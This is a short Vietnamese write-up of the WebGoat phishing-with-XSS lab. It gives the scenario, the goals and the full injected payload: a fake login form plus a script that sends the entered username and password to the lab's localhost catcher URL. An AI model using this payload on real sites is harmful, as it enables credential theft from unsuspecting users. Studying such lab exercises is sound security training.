**Kịch bản:** Giả sử trong CSDL được Hacker thêm vào 1 đoạn HTML và Script bằng một cách nào đó. Khi nạn nhân bị nhầm lẫn thông tin và hướng dẫn đưa ra là của Web thì họ sẽ làm theo và vô tình đưa thông tin này đến Server của Hacker

**Mục tiêu:**

- Chèn HTML Form cho phép đăng nhập

- Thêm 1 đoạn Script thu thập thông tin và gửi về Server theo mẫu:

"http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""

**Tiến hành:**

- Nhập vào TextBox tìm kiếm đoạn code sau

- Đóng vai người dùng đăng nhập thông qua Form được tạo

<script>function hack() {XSSImage = new Image;XSSImage.src = "http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Hacked: User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}</script>

</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name="pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br>

